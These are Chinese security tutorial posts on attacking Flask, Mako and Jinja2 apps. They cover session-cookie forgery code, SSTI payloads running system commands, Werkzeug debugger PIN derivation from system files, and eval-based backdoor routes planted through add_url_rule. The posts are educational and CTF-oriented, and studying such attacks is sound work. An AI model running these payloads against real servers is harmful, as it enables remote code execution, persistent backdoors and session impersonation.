flask 是典型的轻量级 Web 框架,仅保留了核心功能:请求响应处理和模板渲染。这两类功能分别由 Werkzeug(WSGI)完成和 jinja2 负责。
jinja2 就不用多说了,之前的文章说过。Werkzeug 是一个专门用来处理 HTTP 和 WSGI 的工具库,可以方便的在 Python 中处理 HTTP 协议相关内容。这里顺便提一下,Werkzeug 不是一个 Web 服务器,也不是一个 Web 框架,而是一个工具包,官方的介绍说是一个 WSGI 工具包,它可以作为一个 Web 框架的底层库,因为它封装好了很多 Web 框架需要用到的基本操作,例如 Request,Response 等等。如果橘友们感兴趣可以看官方文档,按照这个文档非常容易上手 Werkzeug(见资料 1)。
flask 还是比较流行的,教程一抓一大把,基础的使用就不啰嗦了,我们直接来看看 flask 都有哪些攻击面。
首先,flask 本身的漏洞本篇就不详细介绍了,大家一搜 CVE 都有(见资料 2),目前来看(2022-05-06),版本 >= 0.12.3
是没有通用漏洞的。
其次,为了避免内容重复,非 flask 直接导致的漏洞不再本篇范围中,例如直接拼接 sql 导致 sql 注入、CSRF、SSRF 等,这些攻击方式并非使用 flask 所导致的,推荐去看 SecMap 的对应系列,更容易理解。
session 的作用大家都比较熟悉了,就不用介绍了。
它的常见实现形式是当用户发起一个请求的时候,后端会检查该请求中是否包含 sessionid,如果没有则会创造一个叫 sessionid 的 cookie,用于区分不同的 session。sessionid 返回给浏览器,并将 sessionid 保存到服务器的内存里面;当已经有了 sessionid,服务端会检查找到与该 sessionid 相匹配的信息直接用。
所以显而易见,session 和 sessionid 都是后端生成的。且由于 session 是后端识别不同用户的重要依据,而 sessionid 又是识别 session 的唯一依据,所以 session 一般都保存在服务端避免被轻易窃取,只返回随机生成的 sessionid 给客户端。对于攻击者来说,假设需要冒充其他用户,那么必须能够猜到其他用户的 sessionid,这是比较困难的。
对于 flask 来说,它的 session 不是保存到内存里的,而是直接把整个 session 都塞到 cookie 里返回给客户端。那么这会导致一个问题,如果我可以直接按照格式生成一个 session 放在 cookie 里,那么就可以达到欺骗后端的效果。
阅读源码可知,flask 生成 session 的时候会进行序列化,主要有以下几个步骤:
json.dumps
将对象转换成 json 字符串cookie-session
)对结果进行签名,将签名附在结果后面(用 .
拼接)。如果第二步有压缩的话,结果的开头会加上 .
标记。可以看到,最后一步解决了用户篡改 session 的安全问题,因为在不知道 secret_key 的情况下,是无法伪造签名的。
所以这会直接导致 2 个可能的安全问题:
下面举个例子:1
2
3
4
5
6
7
8
9
10
11
12
13from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'Tr0y_1s_Macr0phag3'
@app.route('/')
def hello():
user = session.get("user", "Hacker")
return f'Welcome, {user}!'
app.run()
比如这段代码,我们访问之后会得到一个 session:eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA
按照生成的过程,我们可以很容易解开 session:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19In [76]: session = "eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA"
In [77]: from itsdangerous import URLSafeTimedSerializer, base64_decode, encoding
In [78]: base64_decode("eyJ1c2VyIjoicm9vdCJ9")
Out[78]: b'{"user":"root"}'
In [79]: base64_decode("YnkAHQ")
Out[79]: b'by\x00\x1d'
In [80]: encoding.bytes_to_int(b'by\x00\x1d')
Out[80]: 1652097053
In [81]: URLSafeTimedSerializer(
...: 'Tr0y_1s_Macr0phag3',
...: salt="cookie-session",
...: signer_kwargs={"key_derivation": "hmac"}
...: ).loads_unsafe("eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA")
Out[81]: (True, {'user': 'root'}) # 第一个值代表签名是否有效
所以如果 session 里有敏感信息,那么直接就泄露了。
最后,如果搞到 secret_key,可以这样伪造 session:1
2
3
4
5
6
7
8from itsdangerous import URLSafeTimedSerializer
URLSafeTimedSerializer(
'Tr0y_1s_Macr0phag3',
salt="cookie-session", # 这是默认的
signer_kwargs={"key_derivation": "hmac"}
).dumps({'user': 'root'})
来试试伪造的 session:
nice.
大家似乎都很喜欢用 flask-session-cookie-manager
(见资料 3),但是我不知道它和 itsdangerous.URLSafeTimedSerializer
的区别是啥...这个类既可以解开也可以伪造。难道是没有压缩功能?但是伪造的时候也不需要压缩呀?
最后教大家一个快速调试的方式。
我们平时写一些小脚本都需要搞点测试用例来测试,那像 flask 这种 Web 应用,如果每次修改代码都需要重启服务,再通过 HTTP 协议来测试,那实在是太慢了。对于我们安全来说,一样需要测试各种 payload。由于安全一般只需要简单的测试,所以不需要用比较重的测试框架例如 pytest 之类的。所以我们只需要直接用 Flask.test_client
就可以模拟请求了,例如:
1 |
|
test_client
下方法的属性列表可以在 site-packages/werkzeug/test.py
里的 class EnvironBuilder:
下的注释中找到。
这一节本来是放在《SecMap - SSTI(jinja2)》(见资料 4)中介绍的,但是为了查询的便利性,就放在这里好了,jinja2 那篇文章中会引用这里的知识点。
flask 最常见的搭档就是 jinja2 了。由于 flask 会引入新的变量,所以也会引入新的姿势。从官方文档可以看到官方引入的新的全局变量(见资料 5)
config
:当前配置对象,原型为 flask.Flask().config
request
:当前 request 对下,原型为 flask.request
。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的session
:当前 session 对象,原型是 flask.session
。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的g
:全局变量的 request-bound 对象,原型是 flask.g
。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的url_for()
,原型是 flask.url_for()
get_flashed_messages()
:原型是 flask.get_flashed_messages()
常规的通用绕过姿势就不重复说了,《SecMap - SSTI(jinja2)》 里说的很全。
除此之外,flask 的 request
中包含了大量请求相关的属性(见资料 6),可以用于 bypass 一些非常严格的限制。
request.args
:GET 请求的参数request.form
:POST 参数request.values
:POST 和 GET 的参数request.cookies
:Cookies 值request.files
:包含了上传的文件名和内容request.headers
:请求头entity-header field
关键字的都是,比如:request.authorization
:basic 认证的凭据request.content_type
:Content-Type
HTTP 头request.content_md5
:Content-MD5
HTTP 头request.get_data
:和 request.data
类似request.full_path
:完整请求路径,包含参数request.environ
:WSGI 的环境变量,包含 HTTP 头(对应的键会自动加上 HTTP_
前缀),还有 WSGI 服务端的一些信息这些请求相关的属性可以传递任何被过滤的字符串。举例,假设参数 user 过滤了 os
、system
,那我们可以任意指定另外三个参数,分别用于传递 os
、system
、命令,payload 可以这样:1
2
3
4?user={{config.get_namespace.__globals__[request.args.module][request.args.func](request.args.cmd)}}
&module=os
&func=system
&cmd=whoami
这个姿势是非常非常通用的。利用的时候,最重要的资料还是官方文档。
mro 直接利用 dibber 搜索就行(见资料 7)
config
g
其他同理,就不列举了,橘友们用 dibber 自行尝试即可。
config 是 flask 中的一个全局对象,它代表当前配置实例,包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY 等敏感值。
所以如果可以获取到 config,就可以直接拿到各种敏感数据。比如如果需要获取绝对 Web 根目录可以用 config.root_path
;比如上面说的伪造 session 需要 secret_key,而 config 就有 secret_key。所以只要获取了 config 就可以伪造 session 了。
如果存在 SSTI 那么直接 {{ config }}
就可以了。当然,如果没法直接拿 config,可以用 mro 来找其他利用链,比如:
url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config
self.__dict__._TemplateReference__context.config
,这个就是 jinja2 自带的,在 jinja2 的 SSTI 中介绍过了同样,类似的替换方式写个 dibber 的插件即可自动搜索。
实在不行,先确定脚本的路径,再直接读源码也是 ok 的...
上面有个结论,“只要拿到了 secret_key 就可以伪造 session”,这个说法并不是非常准确。因为通过上面的分析可知,session 的签名还取决于使用的密钥派生函数、salt 和 hash 算法,这三者只要替换掉一个,用现有的工具即使知道 secret_key 也是没法生成有效的 session 的。
所以这就是一个 ctf 的出题思路了:
由于可以直接拿到 secret_key,所以估计很多人直接开始伪造 session,然后发现 session 就是无效的...
所以在用 flask 的时候,不妨换一个 salt,也没啥改造的成本。
当然,如果存在 SSTI,那么是可以非常轻易地获取这三个信息的:
config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.key_derivation
config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.salt
config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.digest_method
确认这三个关键的信息之后,结合 secret_key 就可以伪造了。
flask 贴心地提供了 debug 模式,只需要加参数 app.run(debug=True)
即可,用于在测试的时候及时发现和定位问题。
黑盒判断是否开启 debug 模式,最直接的方式就是触发一个报错。除此之外还有一种方法:1
2
3
4
5import requests
"__debugger__" in requests.get(
'http://127.0.0.1:5000/?__debugger__=yes&cmd=resource&f=style.css'
).text
style.css
位于 site-packages/werkzeug/debug/shared/
下,这里面所有的文件都可以用来判断。
仔细观察可以发现,这个页面中有很多可以利用的地方。
这个页面中的报错所在代码是可以点击的,且是按照 Python 异常堆栈顺序排列,所以一般最后一行就是报错的原始代码。点击之后可以看到 10 行源代码,触发报错的代码在第 6 行。如果敏感信息正好在这个范围里,那么就会泄露出来。
按照这个思路,如果我们在 SSTI 的时候,发现是无回显的,那么也可以通过触发报错,然后在 debug 里获得结果。
eval
或者 exec
我们想看到的数据即可:
在 debug 页面中甚至还提供了 python 的交互式 shell,方便 plus。
但前提是需要有 Debugger PIN
:
这个在 debug 模式下启动 flask 的时候可以直接获取到(通常是在终端直接打印)。作为攻击者,是没法直接拿到这个 PIN 的。
爆破 PIN
最直接的办法就是爆破。可惜 flask 默认带有爆破防御功能,在 site-packages/werkzeug/debug/__init__.py
中的 pin_auth
:
_fail_pin_auth
,让 self._failed_pin_auth
加 1self._failed_pin_auth > 5
,每次认证返回响应前延时 5sself._failed_pin_auth > 10
,强制停止 PIN 校验逻辑,只能重启服务来重置这里有个细节,由于 _fail_pin_auth
是 sleep 之后才 +1,所以理论上只要在 5s 内发出很多请求,那么可以在 +1 之前就经过很多次 PIN 验证。遗憾的是,flask PIN 一般都有 9 位数字,每位有 10 种可能性,也就是 10 亿种可能性,一共可以尝试 10 次,就算每次都延迟 5s,那么 50s 内需要发出 10 亿次尝试,这显然是不可能的。不过这个可以耗尽尝试次数导致别人也无法使用 debug,那么显然这是一个比较鸡肋的 DoS。
所以爆破的路子走不通,我们需要寻找其他方式。
通过分析 flask 源码可以拿到以下调用链,可以看出 PIN 的生成是相对固定的:
... .run()
site-packages/flask/app.py
中,class Flask(Scaffold):
下 run
的 run_simple(host, port, self, **options)
site-packages/werkzeug/serving.py
中,run_simple
的 application = DebuggedApplication(application, use_evalex)
site-packages/werkzeug/debug/__init__.py
中,class DebuggedApplication:
下 pin
的 pin_cookie = get_pin_and_cookie_name(self.app)
site-packages/werkzeug/debug/__init__.py
中的get_pin_and_cookie_name
get_pin_and_cookie_name
中,可以看到对 PIN 的处理有一些特殊的逻辑,见下面代码注释:
1 |
|
所以一共有 9 个必要参数:
WERKZEUG_DEBUG_PIN
:非常重要的值,它本身可能就是 PIN 码,以及决定了后面生成 PIN 的流程。不过这个值一般不会修改probably_public_bits
,它是一个 4 元列表,其中包含:username
:运行 flask 所使用的的系统用户名modname
:在 flask 中,此值固定是 "flask.app"
"Flask"
app.py
所在的完整系统路径private_bits
,它是一个 2 元列表,其中包含:Machine ID
:通常在系统安装或首次启动时从一个随机数源生成,并且之后不会自己发生变化;不同的操作系统获取的方式不同"cookiesalt"
"pinsalt"
-
连接如果有办法在目标环境中执行 Python 代码,那么获取 PIN 是很简单的,可以直接调用 get_pin_and_cookie_name
来生成即可:1
2
3
4
5
6__import__(
'werkzeug.debug',
fromlist=['']
).get_pin_and_cookie_name(
__import__('__main__').app
)
例如通过 SSTI:
如果存在任意文件读取漏洞,则需要拿到非固定的值,可以通过特殊文件来获取:
WERKZEUG_DEBUG_PIN
先无视username
通过 /etc/passwd
来猜测/sys/class/net/网卡名称/address
,删除 :
之后转为 10 进制即可,网卡名可以通过 /proc/net/dev
文件来查找Machine ID
按照 get_machine_id
的逻辑来读取即可在文档中我们可以发现 flask.Flask
有一些特殊的方法,可以修改处理请求的逻辑。
add_url_rule
是用来注册路由的。
根据官方文档,这三种写法是等价的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# 写法 1
@app.route("/")
def index():
...
# 写法 2
app.add_url_rule("/", endpoint="index")
@app.endpoint("index")
def index():
...
# 写法 3
def index():
...
app.add_url_rule("/", view_func=index)
这就意味着,如果变量 app 是可以控制的,那么我们可以通过 app.add_url_rule("/shell", view_func=lambda: eval(request.args["cmd"]))
来植入一个后门。
在绑定的时候有几个需要注意的地方:
app.view_functions
看到app.view_functions
,如果这个时候 endpoint 已经存在,但是新绑定的过程中改变了对应的函数,就会报错,比如 lambda:app.add_url_rule("/shell", "ep-1", view_func=lambda x: x)
app.view_functions
修改app.view_functions
即可篡改 url 所绑定的函数。app.url_map
中保存了 url 与 endpoint 的对应关系。结合上面的结论大致可以推测出,app.add_url_rule
应该是依赖 app.view_functions
和 app.url_map
的。site-packages/flask/scaffold.py
中的 def setupmethod
下:site-packages/flask/app.py
中的 class Flask
继承了 Scaffold
且定义了 _is_setup_finished
:site-packages/flask/app.py
中被装饰器 @setupmethod
装饰的都算。当然,由于这里是通过装饰器做的限制,所以理论上我们精简 setup function 之后或许也可以自己搞出与之等价的函数,这一点后面会举例。踩完坑之后,下面结合 jinja2 的 SSTI 举几个例子。
由于 jinja2 中并不支持用 lambda
(通过 mro 引入也不行用,因为 jinja 的语法本身就不支持),而 view_func
参数又必须是一个 func,如果直接使用 view_func=eval
,由于在 flask 不会给 view_func
传参,所以压根就没法执行。如果是固定执行一个命令倒是可以,就是有点不够灵活了。
为了实现类似 lambda 的效果,我们可以定义一个宏,然后植入后门:1
2{% macro x() %} cycler.__init__.__globals__.__builtins__.eval(request.args.cmd) {% endmacro %}
{{ lipsum.__globals__.__builtins__.__import__("__main__").app.add_url_rule("/shell", "x", view_func=x) }}
这里有坑需要注意下。
我在测试的过程中发现,lipsum. ... .__import__("__main__").app.add_url_rule
似乎会改变 lipsum
的上下文属性,导致在宏里无法引用到 lipsum
。也就是说,这个 payload 是不行的:1
2{% macro x() %} lipsum.__globals__.__builtins__.eval(request.args.cmd) {% endmacro %}
{{ lipsum.__globals__.__builtins__.__import__("__main__").app.add_url_rule("/shell", "x", view_func=x) }}
以及由于 macro
和普通函数不太一样,它是没有 __name__
的。所以必须指定一下 endpoint。
除了宏之外,还有办法搞一个自定义函数出来吗?如果可以使用 def
就好了。那么这个 exec
就可以实现。虽然 exec 返回值固定是 None,但是其实里面定义的函数在外边是可以使用的(通常情况):
上面特别标注了 “通常情况”,为何呢?eval
、exec
、compile
都是非常有趣的内置函数,他们有非常多的特性,有机会我专门写一篇来介绍。
总之,我们可以这样:eval('exec("def x(): return x")')
当然,compile
也是 ok 的,所以还可以这样:
1 |
|
结合 jinja2 的 SSTI 就是这样了:1
2
3
4
5
6
7
8
9
10
11lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.add_url_rule(
"/shell",
view_func=lipsum.__globals__.__builtins__.eval(
'exec("'
'def x(): '
'return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))'
'"), x'
)[1]
)
1 |
|
正如上面说的那样,在 debug 模式下是没办法直接使用 setup function 的。好在有绕过的办法(下面均以 add_url_rule
为例)。
修改属性
_is_setup_finished
中的限制,是实时获取属性来判断的。所以我们只需要修改 app.deug = False
或者 app._got_first_request = False
即可绕过。例如:
1 |
|
模拟 setup function
在 site-packages/flask/app.py
中可以看到 add_url_rule
的逻辑似乎比较复杂。但实际上,它最主要的操作就两个:
rule = self.url_rule_class(rule, methods=methods, **options)
& self.url_map.add(rule)
self.view_functions[endpoint] = view_func
所以我们只需要执行:
app.url_map.add(app.url_rule_class("/shell", methods={"GET"}, endpoint="x"))
,就可以在 /shell
上注册一个叫 x
的 endpointapp.view_functions["x"] = eval
,这样就完成了 endpoint 与函数的绑定还是以 SSTI 为例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22{{
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.url_map.add(
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.url_rule_class(
"/shell", methods=["GET"], endpoint="x"
)
),
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.view_functions.__setitem__(
"x",
lipsum.__globals__.__builtins__.eval(
'exec("'
'def x(): '
'return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))'
'"), x'
)[1]
)
}}
像 before_request_funcs
、after_request
、register_error_handler
之类的应该都是可以用来搞内存马的。可能还有一些其他函数,有需要用的时候可以翻翻官方文档尝试一下。
在《Python 沙箱逃逸的经验总结》中我们提到过,如果存在文件写漏洞,则可以通过 import 或者 exec 等等完成 RCE。
在 flask 的场景下,还有一个特殊的途径。
在 from_pyfile
中,会执行 exec,且由于 exec 的特性,会把 exec 中执行生成的变量存储在 d.__dict__
,所以 exec 中的变量均可以通过 d.
获取到。而最后又会调用 from_object
,这个函数会将全大写的变量名置为 self
(也就是 flask.Flask.config
)的属性。
关键代码如下:
既然如此,我们可以先在目标环境中创建一段包含 Python 代码的文件(比如任意文件上传),并在里面创建一个全大写变量名 CMD = eval
,然后触发 from_pyfile
(例如 SSTI),这样就可以在 config 中直接用到这个 eval:1
2
3lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.from_pyfile("file.png")
然后直接 {{config.CMD}}
使用即可:
个人觉得这个也算内存马了。
flask 的攻击面还是比较广的,毕竟作为一个 Web 应用框架,能承载的功能是非常丰富的,它还有各种各样的插件。
所以在考量 flask 应用的时候,flask 本身的安全性(代码/架构)、通过 flask 搭建的应用的安全性(代码/逻辑)、插件(第三方代码)都是不可或缺的一部分。所以这部分的内容一篇文章恐难以总结全,本文就先介绍到这,后面如果发现新的姿势会继续补充。
最近遇到了 Python + yaml 的反序列化问题
所以下一篇估计是补齐一下这部分知识点
一起加油 💪
SSTI(Server-Side Template Injection)服务端模板注入。
上一篇我们介绍了 jinja2 的 SSTI,SSTI 具体的定义就不啰嗦了。
mako 的一些设计和使用方式与 jinja2 是非常相似的,截止目前(2022),主流的模板语言就是 jinja2 和 mako。所以这篇就开门见山地来介绍下 mako 的 SSTI。
注:本文基本上都是 py3.x 的环境。
mako 是 Pylons 的默认模板语言,它们之间的关系与 jinja2 和 flask 的关系类似。
首先还是先了解下语法规则。
依旧推荐官方文档,见资料 1
作为一门模板语言,肯定有自己的一套语法规则。
mako 的基础语法规则一共 3 种:
${ }
,比如输入 1+1
,2*2
,或者是字符串、调用对象的方法,都会渲染出执行的结果%for ... : %endfor
、%if ... : ... %elif: ... % else: ... %endif
<% ... %>
<%! ... %>
<%def name="..." > ... </%def>
,调用:${...()}
##
(单行)、<%doc>
(多行)<%inherit ... />
<%include ... />
,引用:<%page ... />
%
,如果非要用到 %
,需要写成 %%
对于常用的语法,看一个例子就懂了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15from mako.template import Template
tp = Template('''## 这是一个注释
<%def name="my_range(n)" > <% return list(range(n))%> </%def>
<% c = 5 %>
% for i in my_range(c)+a:
%if i % 2:
${ i }
%endif
% endfor
''')
print(tp.render(a = [5, 6, 7, 8, 9]))
结果就是输出 1、3、5、7、9
另外,mako 还有一个值得一提的特殊语法:过滤器
官方文档见资料 3
单个过滤器的使用和 jinja2 一样很像,都是用 |
来引用。如果要使用多个过滤器,mako 需要用 ,
来指定:${" <tag>some value</tag> " | h,trim}
要定义自己的过滤器也比较简单,不需要和 jinj2 一样操作 environment
,只需要定义一个函数即可使用:1
2
3
4
5
6
7
8
9<%!
import myfilters
def myescape(text):
return "<TAG>" + text + "</TAG>"
%>
Here's some tagged text: ${"text" | myescape}
Here's some tagged text: ${"text" | myfilters.myescape}
非常优雅。
可以看到,mako 本身可以完美支持 Python 语句,所以利用 <% %>
、<%! %>
、${}
可以非常轻松地进行攻击,例如:1
2
3
4
5
6
7
8
9
10
11
12<%!
import os
os.system("whoami")
%>
# 或者
<%__import__("os").system("whoami")%>
# 或者
${__import__("os").system("whoami")}
其中 ${ }
与 jinja2 的 {{ }}
比较类似,但由于 mako 直接支持 Python 语法,所以 ${ }
可以直接使用内置函数,例如 dir
。更不用说还有 <% %>
、<%! %>
了。
当然控制结构 %for ... : %endfor
、%if ... : ... %elif: ... % else: ... %endif
也是 ok 的。
所以 mako 的 SSTI 手法基本上兼容 jinja2 的 SSTI 手法,可以说思路灵活得多。
目前我还没遇到过滤很严格的情况。我感觉大部分过滤技巧都可以参考 jinja2 的技巧(见资料 5)或者是 Python 沙箱逃逸(见资料 6)的技巧。为了避免有水字数的嫌疑,我就不赘述了
mako 引入了新的默认变量:1
2
3
4
5
6
7
8
9
10
11
12
13In [57]: Template("${ locals() }").render()
Out[57]: """
{
'context': <mako.runtime.Context object at 0x7fd5e8af99d0>,
'pageargs': {},
'__M_caller': None,
'__M_locals': {
'pageargs': {}
},
'locals': <built-in function locals>,
'__M_writer': <built-in method append of collections.deque object at 0x7fd5c8013ac0>
}
"""
其中比较关键的有:
locals
:这个就是 locals
,context
:见资料 4__M_writer
:与 print 类似,可以直接打印字符串pageargs
:render
里的参数会在这里面如果在遇到无回显的场景,就可以用 __M_writer
、context.write
尝打印。
例如:1
2
3
4
5
6
7
8
9from mako.template import Template
tp = Template('''
%for i in x:
"a"
%endfor
''')
print(tp.render())
其中 x 是注入点。
那么我们就可以用 str(__M_writer(str(__import__("os").system("id"))))
来实现回显。当然,盲注或者弹 shell 也是 ok 的。
还有一种类型的利用 context.kwargs
来获取上下文环境中传递的值。例如一个 web 接口有用到 mako,且有一个参数 name,那么可以直接在模板中使用这个变量名,这个时候通常需要 eval 下。
mako 的 CTF 很少,我只见过一道,就是今年 2022-susctf 的 HTML practice。
这道题首先需要 fuzz 出模板类型,这一步只能靠经验了。
得出是 mako 之后,还可以得到黑名单:1
2
3%> /> _ + $ [ ' "
chr ord hex eval exce
...
所以 ${ }
、<% %>
、<%! %>
都不行,那么用控制结构来调用命令语句即可。这道题是没回显的,需要回显的话,可以用上文说到的办法来玩。这道题由于过滤的是 eval
,有需要的话我们就可以用修饰字符绕过字符过滤,ᵉᵥᵃˡ
:
当然,这个技巧也在 Python 沙箱逃逸中介绍过了。
从 Python 沙箱逃逸,到 Python 反序列化(见资料 8),到 jinja2 的 SSTI,再到 mako 的 SSTI,可以发现我们常常需要去搜索可以利用的攻击链。假设给定一个对象 []
,如何通过 mro 搜到 os 模块呢?
我以前的做法就是用 dir 来找疑似高危的模块,然后进一步分析是否有引入 os 模块。这样效率太低了。所以我写了一个自动搜索的工具,叫 dibber
:
目前已经可以支持 原始的 Python 代码、jinja2、mako 这三种形式的搜索,例如 mako 的 context
,深度设定为 4,就可以得到以下结果:
如果遇到其他模板,或者是想搜索其他模块、函数,也可自行添加插件。感兴趣的橘友们可以试试,见资料 7
相比于 jinja2 来说,使用 mako 肯定更爽,因为可以随意在模板中插入 Python。但是,攻击者也很爽。
并且对比于 jinja2 来说,jinja2 有沙箱模式,mako 没有,所以在安全性上来说,mako 用起来更加危险。所以还是不要让模板对用户可控了吧。如果非要这样的话,可以用 render 参数来传递给模板,不要直接做拼接。
下期应该是 flask 相关的知识点
这段时间大家都好难啊...
又是疫情,又是股灾的...
还好快放假了,有了一些喘息的时间
提前祝各位五一快乐!!!
SSTI(Server-Side Template Injection)服务端模板注入。
SSTI 其实和编程语言、框架、模板语言都没啥强绑定关系,只是不同编程语言或者模板语言有不同的注入姿势罢了。SSTI 由于涉及到的组件非常多,还和特定组件的利用方式(比如 SSTI + jinja2
和 SecMap - Flask
有很大关系),但是由于篇幅原因应该分开来写,所以我拆的细了一些,本文主要讲 jinja2 的 SSTI。后面还会有其他模板语言、框架的利用介绍,反正慢慢写橘友们慢慢看吧。
注:本文基本上都是 py3.x 的环境。
既然所谓模板注入,我们就先要了解一下这个“模板”是怎么来的。这与所谓的 MVC(即 Model、View、Controller)息息相关,MVC 要实现的目标是将软件用户界面和业务逻辑分离以使代码可扩展性、可复用性、可维护性、灵活性加强。其中 View 层是界面,Model 层是业务逻辑,Controller 层用来调度 View 层和 Model 层。不过如何正确认识与利用 MVC 指导设计,我们暂时按下不表。
上文所谓的“模板”,简单来说就是一个其中包涵占位变量表示动态的部分的文件,模板文件在经过动态赋值后,返回给用户,可以理解为渲染。那其实就是这里的 V
所经常使用的一种东西。例如在 Python 中,jinja2 是我最为常用的模板语言,基于 jinja2 的组件也有很多,例如 flask,同样是我非常非常喜欢的 Web 框架。
依旧推荐官方文档,见资料 1
作为一门模板语言,肯定有自己的一套语法规则。
jinja2 的基础语法规则一共 3 种:
{% %}
,也可以用来声明变量({% set c = "1" %}
){{ }}
,比如输入 1+1
,2*2
,或者是字符串、调用对象的方法,都会渲染出执行的结果{# #}
对于这三种语法,看一个例子就懂了:1
2
3
4
5
6
7
8
9
10
11
12
13
14from jinja2 import Template
tp = Template('''{#
这是一个注释
#}
{% set c = [5, 6, 7, 8, 9] %}
{% for i in a+c %}
{% if i % 2 %} {{ i }} {% endif %}
{% endfor %}
''')
print(tp.render(a = [0, 1, 2, 3, 4]))
结果就是输出 1、3、5、7、9
另外,jinja2 还有特殊的语法:
文档见资料 4
过滤器可以理解为是 jinja2 里面内置的函数和字符串处理函数,用于修饰变量。甚至支持参数 range(10)|join(', ')
;以及链式调用,只需要在变量后面使用管道符 |
分割,前一个过滤器的输出会作为后一个过滤器的输入,例如,{{ name|striptags|title }}
会移除 HTML Tags,并且进行 title-case 转化,这个过滤器翻译为 Python 的语法就是 title(striptags(name))
。
可以看出,过滤器极大丰富了模板的数据处理能力,同时也在后面攻击时发挥了很大的作用 :)
jinja2 内置了很多函数,嗯,非常不错,但是我还是觉得不够,怎么办呢?可以自己编写一个函数,然后在模板中调用,这就是宏(macro
)的作用 — 自定义函数:1
2
3
4
5
6{% macro hack(name="Macr0phag3") %}
<h1> Hacked by {{ name }} </h1>
{% endmacro %}
<p> {{ hack('Tr0y') }} </p>
<p> {{ hack() }} </p>
macro 后面跟函数名与参数,调用方法也很 Pythonic。
文档见资料 5
模板继承允许我们创建一个骨架文件,其他文件从该骨架文件继承。并且还支持针对自己需要的地方进行修改。
jinja2 的骨架文件中,利用 block
关键字表示其包涵的内容可以进行修改。这里直接举例吧:
这个是骨架文件:base.html
1 |
|
bbb.html 继承 base.html 的模板:1
2
3
4
5
6
7
8
9
10
11
12{% extends "base.html" %} <!-- 继承 -->
{% block title %} Tr0y's Blog {% endblock %} <!-- title 自定义 -->
{% block head %}
{{ super() }} <!-- 用于获取原有的信息 -->
<style type='text/css'>
.important { color: #FFFFFF }
</style>
{% endblock %}
<!-- 其他不修改的原封不动的继承 -->
渲染:1
2
3
4from jinja2 import FileSystemLoader, Environment
env = Environment(loader=FileSystemLoader("./"))
print(env.get_template("bbb.html").render())
这里用到了 FileSystemLoader
,其实用它的逻辑很简单。我们在 bbb.html 中写了 {% extends "base.html" %}
,那 jinja2 怎么知道 base.html 在哪呢?FileSystemLoader
就是用来指定模板文件位置的。同样用途的还有 PackageLoader
,它是用来指定搜索哪个 Python 包下的模板文件,以及其他,见资料 6
jinja2 中如果不加换行的话,可读性很差,如果加了的话,渲染后又会有多余的空格。我们可以在标签的前后加上 -
,这样就不会有空格了:1
2
3
4
5
6{% macro hack(name="Macr0phag3") %}
<h1> Hacked by {{ name }} </h1>
{% endmacro %}
<p> {{- hack('Tr0y') -}} </p>
<p> {{- hack() -}} </p>
由于模板语法对 Python 语句是有一定程度支持的,所以利用 {% %}
就可以非常轻松地进行攻击,例如:1
2
3
4
5
6
7print(
Template('''
{% for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close" %}
{{ i.__init__.__globals__['system']('whoami') }}
{% endfor %}
''').render()
)
或者知道 index 的话,直接打:1
2
3
4
5print(
Template(
''' {{ ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']("whoami") }}'''
).render()
)
这一部分与资料 2 的原理是一样的,这里就不啰嗦了。
有一点需要注意的是,由于这里并不是完全支持 Python 所有的语法,所以很多语法是无法使用的,比如列表推导,如果熟练掌握了 Python 沙箱逃逸的原理,那么你可能会这么写 exp:
1 |
|
可惜这是不行的:TemplateSyntaxError: expected token ',', got 'for'
,jinja2 并不支持在 {{ }}
里玩 if
+推导式。
所以熟练掌握 jinja2 中可以使用的函数、过滤器、语法规则,对于攻击来说是很重要的。这部分推荐去看官方文档(见资料 4):
以及比如对于 for 循环来说,还有特殊的方法可供在循环块内部使用(见资料 7)
反正不管怎么样,攻击思路受限的时候,官方文档一定是寻找新姿势的最佳途径。
顺便说一下,jinja2 更新之后可能会引入新的过滤器、函数,例如 3.0.2
就没有 items
过滤器,到了 3.1.0
就有了。
更新日志见资料 8
最简单的 bypass,按照资料 2 中的思路([ ]
扣字符拼接、chr
等等)即可(这里面有的姿势我就不列举了,如果不记得的话强烈建议复习一遍)。
其实扣字符可以做的非常细,以至于理论上我们可以扣出所有的字符或者数字(其实还是资料 2 中的思路,姿势很多,以下只举例):
{{ {}|int }}
、{{ {}|length }}
{{ ({}|int)**({}|int) }}
+
或者是 -
+|abs
{{ {}|center|last }}
、{1:1}|xmlattr|first
<
:{}|select|string|first
>
:{}|select|string|last
{{ self|float|string|min }}
或者 c.__lt__|string|truncate(3)|first
a-z
:{{ range.__doc__ + dict.__doc__}}
A-Z
:{{ (range.__doc__ + dict.__doc__) | upper }}
上面这种都比较常规,思路还是扣字符的思路,顶多是过滤器做了变化。
这里多说一下利用格式化字符串实现的任意字符构造(例如字符 d
):
%c
:{{ {}|string|urlencode|first~(self|string)[16] }}
d
:{{ ({}|string|urlencode|first~(self|string)[16]) % 100 }}
